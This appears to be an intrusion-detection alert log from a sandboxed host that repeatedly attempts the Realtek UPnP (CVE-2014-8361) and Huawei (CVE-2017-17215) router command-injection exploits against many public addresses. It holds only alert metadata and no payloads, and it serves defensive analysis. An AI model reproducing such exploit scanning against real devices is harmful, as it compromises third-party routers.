Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	44556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.206.146.120

Timestamp:	07/20/24-23:01:43.813001
SID:	2025132
Source Port:	60190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.153.180.221

Timestamp:	07/20/24-23:01:58.042671
SID:	2027339
Source Port:	55608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.99.109.50

Timestamp:	07/20/24-23:01:08.639622
SID:	2027339
Source Port:	55062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.17.223.92

Timestamp:	07/20/24-23:01:42.651912
SID:	2831300
Source Port:	35654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.217.174.35

Timestamp:	07/20/24-23:01:43.028316
SID:	2025132
Source Port:	60440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 9.241.118.240

Timestamp:	07/20/24-23:01:26.222978
SID:	2025132
Source Port:	38392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.250.23.28

Timestamp:	07/20/24-23:01:40.291616
SID:	2829579
Source Port:	34208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.161.99.53

Timestamp:	07/20/24-23:01:26.111043
SID:	2027339
Source Port:	37016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.226.9.160

Timestamp:	07/20/24-23:01:34.044717
SID:	2829579
Source Port:	58342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.134.108.32

Timestamp:	07/20/24-23:01:04.447286
SID:	2027339
Source Port:	42194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 111.178.38.86

Timestamp:	07/20/24-23:01:11.630703
SID:	2829579
Source Port:	33210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.248.52.121

Timestamp:	07/20/24-23:01:41.266946
SID:	2025132
Source Port:	42504
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.216.241.103

Timestamp:	07/20/24-23:01:43.206220
SID:	2025132
Source Port:	37142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.142.235.21

Timestamp:	07/20/24-23:01:14.097135
SID:	2835222
Source Port:	55036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.117.132.232

Timestamp:	07/20/24-23:01:08.595072
SID:	2831300
Source Port:	57374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.142.124.162

Timestamp:	07/20/24-23:01:57.213768
SID:	2831300
Source Port:	43116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 5.82.172.149

Timestamp:	07/20/24-23:01:34.048825
SID:	2829579
Source Port:	41408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.194.139.225

Timestamp:	07/20/24-23:01:45.092575
SID:	2025132
Source Port:	45468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 4.194.116.48

Timestamp:	07/20/24-23:01:08.659435
SID:	2831300
Source Port:	52838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.241.179.191

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	42692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.18.44.19

Timestamp:	07/20/24-23:01:31.314147
SID:	2027339
Source Port:	47166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.250.44.72

Timestamp:	07/20/24-23:01:42.474339
SID:	2025132
Source Port:	51252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.182.219.141

Timestamp:	07/20/24-23:01:12.807585
SID:	2027339
Source Port:	42052
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.182.197.150

Timestamp:	07/20/24-23:01:45.519802
SID:	2027339
Source Port:	40966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.82.217.243

Timestamp:	07/20/24-23:01:42.442442
SID:	2027339
Source Port:	55828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.241.141.173

Timestamp:	07/20/24-23:01:31.320338
SID:	2831300
Source Port:	41898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.140.130.170

Timestamp:	07/20/24-23:01:46.293475
SID:	2027339
Source Port:	48050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.201.180

Timestamp:	07/20/24-23:01:00.639011
SID:	2835222
Source Port:	38304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.198.90

Timestamp:	07/20/24-23:01:00.645186
SID:	2829579
Source Port:	50596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.158.125.18

Timestamp:	07/20/24-23:01:52.914137
SID:	2831300
Source Port:	34970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.17.25.163

Timestamp:	07/20/24-23:01:26.607132
SID:	2027339
Source Port:	46434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.48.178.89

Timestamp:	07/20/24-23:01:31.326982
SID:	2831300
Source Port:	48746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.164.160.245

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	33326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.147.220.98

Timestamp:	07/20/24-23:01:41.286262
SID:	2027339
Source Port:	32930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.136.148.80

Timestamp:	07/20/24-23:01:50.147840
SID:	2027339
Source Port:	34522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.53.123.92

Timestamp:	07/20/24-23:01:05.049337
SID:	2027339
Source Port:	56952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.121.119.159

Timestamp:	07/20/24-23:02:06.553447
SID:	2025132
Source Port:	48814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.86.228.100

Timestamp:	07/20/24-23:01:41.303455
SID:	2025132
Source Port:	42292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.219.50.159

Timestamp:	07/20/24-23:01:42.571884
SID:	2027339
Source Port:	50062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.54.172.151

Timestamp:	07/20/24-23:01:44.464382
SID:	2027339
Source Port:	60510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 198.213.74.132

Timestamp:	07/20/24-23:01:44.550538
SID:	2831300
Source Port:	38384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.77.166.232

Timestamp:	07/20/24-23:02:12.234515
SID:	2027339
Source Port:	55384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.96.218.16

Timestamp:	07/20/24-23:00:59.185032
SID:	2835222
Source Port:	60908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.51.1.150

Timestamp:	07/20/24-23:01:43.845332
SID:	2027339
Source Port:	36896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.241.106.75

Timestamp:	07/20/24-23:01:01.846382
SID:	2025132
Source Port:	33600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 72.19.23.60

Timestamp:	07/20/24-23:02:04.525064
SID:	2025132
Source Port:	38412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.226.47.144

Timestamp:	07/20/24-23:02:01.357047
SID:	2027339
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.195.200.196

Timestamp:	07/20/24-23:01:01.788008
SID:	2025132
Source Port:	41078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.62.146.57

Timestamp:	07/20/24-23:01:52.487978
SID:	2027339
Source Port:	40330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 177.72.81.243

Timestamp:	07/20/24-23:01:57.082339
SID:	2025132
Source Port:	36074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.57.233.80

Timestamp:	07/20/24-23:01:02.742663
SID:	2027339
Source Port:	60010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 81.22.157.142

Timestamp:	07/20/24-23:01:48.288217
SID:	2831300
Source Port:	48756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.53.147.58

Timestamp:	07/20/24-23:01:11.631728
SID:	2835222
Source Port:	37572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 204.242.74.211

Timestamp:	07/20/24-23:01:27.666100
SID:	2829579
Source Port:	56188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 86.228.82.71

Timestamp:	07/20/24-23:01:27.749737
SID:	2829579
Source Port:	44748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.31.9.47

Timestamp:	07/20/24-23:01:44.706302
SID:	2025132
Source Port:	39534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.248.77.62

Timestamp:	07/20/24-23:01:48.083998
SID:	2025132
Source Port:	60718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.23.48.212

Timestamp:	07/20/24-23:02:08.781934
SID:	2025132
Source Port:	45326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 182.158.136.187

Timestamp:	07/20/24-23:01:51.944006
SID:	2831300
Source Port:	43396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.249.133.131

Timestamp:	07/20/24-23:00:57.222164
SID:	2829579
Source Port:	57796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.137.254.119

Timestamp:	07/20/24-23:00:59.168569
SID:	2835222
Source Port:	56512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.20.43

Timestamp:	07/20/24-23:01:40.294677
SID:	2829579
Source Port:	39424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 142.66.65.211

Timestamp:	07/20/24-23:01:14.105395
SID:	2829579
Source Port:	49060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.163.81.215

Timestamp:	07/20/24-23:01:47.420081
SID:	2025132
Source Port:	45666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.70.243.196

Timestamp:	07/20/24-23:01:41.258403
SID:	2027339
Source Port:	33898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.210.198

Timestamp:	07/20/24-23:01:04.113037
SID:	2835222
Source Port:	57922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.112.16.238

Timestamp:	07/20/24-23:01:03.412385
SID:	2025132
Source Port:	38334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.232.245.24

Timestamp:	07/20/24-23:01:04.053605
SID:	2835222
Source Port:	51996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.114.175

Timestamp:	07/20/24-23:00:59.192052
SID:	2829579
Source Port:	50524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.23.80.245

Timestamp:	07/20/24-23:00:57.221223
SID:	2829579
Source Port:	44052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.172.152.113

Timestamp:	07/20/24-23:01:25.988229
SID:	2025132
Source Port:	37986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.161.232

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	41766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.91.27

Timestamp:	07/20/24-23:01:04.228026
SID:	2835222
Source Port:	55100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.109.143.129

Timestamp:	07/20/24-23:01:42.165780
SID:	2831300
Source Port:	44556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.31.253.14

Timestamp:	07/20/24-23:01:04.592707
SID:	2027339
Source Port:	60594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.20.116.108

Timestamp:	07/20/24-23:01:41.275004
SID:	2027339
Source Port:	59572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.215.215

Timestamp:	07/20/24-23:01:32.028836
SID:	2829579
Source Port:	35218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.25.105.249

Timestamp:	07/20/24-23:02:00.709103
SID:	2027339
Source Port:	44902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.117.109

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	48482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.222.212.200

Timestamp:	07/20/24-23:01:41.366269
SID:	2027339
Source Port:	48042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.238.28

Timestamp:	07/20/24-23:01:34.062277
SID:	2829579
Source Port:	44950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 187.218.18.191

Timestamp:	07/20/24-23:01:27.650037
SID:	2835222
Source Port:	36456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.157.224.96

Timestamp:	07/20/24-23:01:41.236294
SID:	2027339
Source Port:	55250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.112.209

Timestamp:	07/20/24-23:01:00.651026
SID:	2829579
Source Port:	39940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.58.103

Timestamp:	07/20/24-23:01:04.053604
SID:	2829579
Source Port:	54380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.228.52.144

Timestamp:	07/20/24-23:01:31.974569
SID:	2835222
Source Port:	59904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.241.155.67

Timestamp:	07/20/24-23:01:08.621030
SID:	2831300
Source Port:	49174
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 66.14.7.167

Timestamp:	07/20/24-23:01:59.300183
SID:	2831300
Source Port:	34640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.111.25.252

Timestamp:	07/20/24-23:01:27.653309
SID:	2829579
Source Port:	49318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.87.162.144

Timestamp:	07/20/24-23:01:41.303455
SID:	2027339
Source Port:	44668
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.44.142.130

Timestamp:	07/20/24-23:01:44.491060
SID:	2027339
Source Port:	56394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.211.124.137

Timestamp:	07/20/24-23:01:20.202325
SID:	2835222
Source Port:	59032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.53.255.241

Timestamp:	07/20/24-23:01:02.060344
SID:	2835222
Source Port:	52456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.73.95.140

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	36518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 12.22.103.21

Timestamp:	07/20/24-23:01:14.097795
SID:	2829579
Source Port:	43512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.111.14.150

Timestamp:	07/20/24-23:01:31.317668
SID:	2027339
Source Port:	35010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.198.153.222

Timestamp:	07/20/24-23:01:40.320408
SID:	2835222
Source Port:	37146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 205.136.89.238

Timestamp:	07/20/24-23:01:44.186066
SID:	2025132
Source Port:	49882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 146.31.217.81

Timestamp:	07/20/24-23:01:31.311885
SID:	2831300
Source Port:	47082
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

